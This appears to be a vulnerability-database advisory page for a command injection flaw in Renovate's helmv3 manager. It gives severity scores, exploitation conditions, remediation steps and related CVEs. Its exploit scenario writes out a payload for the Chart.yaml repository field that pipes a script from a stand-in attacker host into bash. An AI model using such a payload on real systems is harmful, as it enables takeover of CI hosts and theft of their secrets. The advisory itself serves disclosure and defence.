Skip to main content

Renovate CVE-2026-76232

| EUVDEUVD-2026-62473 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-v5qg-6f86-qw4x
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker obtains repository write access
  2. Delivery
    Craft Chart.yaml with shell metacharacters in repository field
  3. Exploit
    Configure matching hostRules to trigger helm registry login
  4. Install
    Push malicious commit to monitored repository
  5. C2
    Renovate helmv3 manager parses Chart.yaml and constructs login command
  6. Execute
    Unsanitized repository value evaluated by shell
  7. Impact
    Arbitrary OS commands execute as Renovate process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the attacker holds write access to a git repository actively monitored by a vulnerable Renovate instance (versions 31.51.0 to 40.32.x); (2) the helmv3 manager is enabled, which occurs automatically when Renovate detects a Chart.yaml with OCI (oci://) or HTTPS repository dependencies; and (3) Renovate's hostRules configuration includes credentials matching the targeted registry host, because the helm registry login command - and thus the injection point - is only invoked when credentials are configured for that host. Without matching hostRules, the login command may not be triggered. The simpler PoC attack path using overrideDatasource to force version detection without consulting the real registry is only available in Renovate versions 38.120.0 and later. Exploitation does not require interactive or physical access to the Renovate host; it is bounded by the OS-level permissions of the Renovate process user.

Impact

The CVSS 4.0 base score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N reflects that exploitation requires the attacker to hold write access to the repository being processed - a meaningful prerequisite that narrows the attack surface compared to a network-exploitable, unauthenticated flaw. No EPSS score was included in the intelligence package, and the absence of a CISA KEV listing means active widespread exploitation is not confirmed; risk must be assessed from the confirmed POC and the deployment context of Renovate in CI/CD pipelines. The high C:H/I:H/A:H impact metrics are credible: arbitrary command execution on the Renovate host, which typically holds CI tokens, cloud credentials, and package registry secrets, effectively constitutes full host compromise with a realistic path to lateral movement - an impact not fully captured by the SC:N/SI:N/SA:N scope metrics in the base vector. The PR:H prerequisite is a real limiting factor for public repositories with strict branch protections, but organizations running Renovate in open-source or multi-contributor project contexts, or where branch protection is weak, face substantially higher practical risk. The confirmed, detailed POC lowers the bar for exploitation meaningfully beyond what the base score alone suggests, and any team running an affected version of Renovate against repositories with external contributors should treat this as an urgent upgrade rather than routine maintenance.

Exploit ScenarioDerived

An attacker with write access to a git repository monitored by Renovate commits a Chart.yaml with a malicious repository field such as oci://charts.bitnami.com/bitnami || curl https://attacker.com/shell.sh | bash, paired with a renovate.json5 that configures matching hostRules credentials for that registry host. When Renovate's helmv3 manager processes the chart's dependencies, it constructs and executes helm registry login ... oci://charts.bitnami.com/bitnami || curl https://attacker.com/shell.sh | bash, causing the shell to evaluate the || operator and execute the attacker's second command as the Renovate process user. A working POC using kill 1 to terminate the Renovate container root process is fully documented in GHSA-3f44-xw83-3pmg.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with write access to execute arbitrary OS commands on the system running Renovate by embedding shell metacharacters in the repository field of a crafted Chart.yaml file. The unsanitized value is interpolated directly into a helm registry login shell invocation without applying shlex.quote() escaping. A detailed proof-of-concept demonstrating process termination via kill 1 is publicly documented in GHSA-3f44-xw83-3pmg; no public exploit identified at time of analysis beyond the POC, and CISA KEV does not list this CVE.

RemediationAI

Upgrade Renovate to version 40.33.0 or later, which applies proper shell escaping via shlex.quote() to the repository parameter before passing it to helm registry login. The fix is available via the npm package registry and the patch commits are documented at https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432 and https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c. If immediate upgrade is not feasible, disable the helmv3 manager in Renovate's configuration (enabledManagers list) to prevent processing of Helm chart files entirely - this eliminates the vulnerable code path but stops all automated Helm dependency updates, which may require manual intervention for chart maintenance. Additionally, restrict repository write access to trusted contributors and avoid granting broad write permissions to external collaborators on repositories processed by Renovate. Run Renovate with minimal environment variables and avoid injecting cloud credentials or package registry tokens that could be exfiltrated if the host is compromised.

Affected VersionsENISA

renovate 31.51.0 <40.33.0

Affected Packages

npm renovate fix: 40.33.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Renovate is an automated dependency update tool distributed as an npm package (cpe:2.3:a:renovatebot:renovate:*:*:*:*:*:*:*:*) that manages Helm chart dependencies through its helmv3 manager. The vulnerable code resides in lib/modules/manager/helmv3/common.ts, where the repository value read from a Chart.yaml dependency entry is concatenated directly into the helm registry login shell command string. CWE-77 (Improper Neutralization of Special Elements used in a Command) describes this root cause precisely: attacker-controlled data is inserted into a command without neutralizing shell metacharacters such as ||, &&, or ;. The shlex package's quote() function was available in the codebase but was not applied to the repository parameter. The vulnerability was introduced in commit f372a68 (January 24, 2022) when OCI registry login support was added in version 31.51.0. A secondary simplified attack path, using the overrideDatasource configuration option, became available from version 38.120.0 onward.

Know when Renovate gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 6.7 MEDIUM

Requires repository write access to plant malicious Chart.yaml (PR:H); command executes locally on Renovate host (AV:L); full confidentiality, integrity, and availability impact on affected system.

3.1 AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 6.7 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Renovate versions from 31.51.0 before 40.33.0 contain a command injection vulnerability in the helmv3 manager where the repository parameter is appended to helm registry login commands without proper sanitization. Attackers with repository write access can craft malicious Chart.yaml files to execute arbitrary commands on the machine running Renovate.

Executive ViewAI

Why It Matters

A command injection vulnerability in Renovate's Helm integration (versions 31.51.0-40.32.x) allows repository contributors to execute arbitrary operating system commands on systems running Renovate, potentially compromising CI/CD pipelines and build infrastructure. Organizations using Renovate with Helm package dependencies should apply the available patch immediately.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 49% exploitable
Prevalence
Medium
widely used in CI/CD pipelines, not universally deployed
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-88880 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.3 lets a malicious or compromised GitLab server steal the authenticatio

CVE-2026-88887 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate (renovatebot/renovate) before 44.11.2 lets a malicious or compromised container regi

CVE-2026-88882 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.2 (and Mend Renovate CE/EE images/charts before 15.4.0, enterprise-edit

CVE-2026-88881 CRITICAL
9.2 Sep 10

Credential disclosure in Renovate before 44.11.3 allows a malicious or compromised GitHub server to exfiltrate host cred

CVE-2026-88889 HIGH
8.5 Sep 10

Command injection in Renovate's Maven Wrapper manager allows an attacker with write access to a scanned repository to ex

CVE-2026-76231 HIGH
8.4 Aug 19

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr

CVE-2026-76230 HIGH
8.4 Aug 19

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac

CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit

CVE-2026-76229 HIGH
8.4 Aug 19

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit

CVE-2026-76228 HIGH
8.4 Aug 19

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt

CVE-2026-88886 HIGH
8.5 Sep 10

Command injection in Renovate's Gradle Wrapper manager module allows a repository contributor to execute arbitrary OS co

CVE-2026-88883 HIGH
8.3 Sep 10

Incomplete log sanitization in Renovate before 44.14.4 causes Mutual TLS private keys to be written in cleartext to appl

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy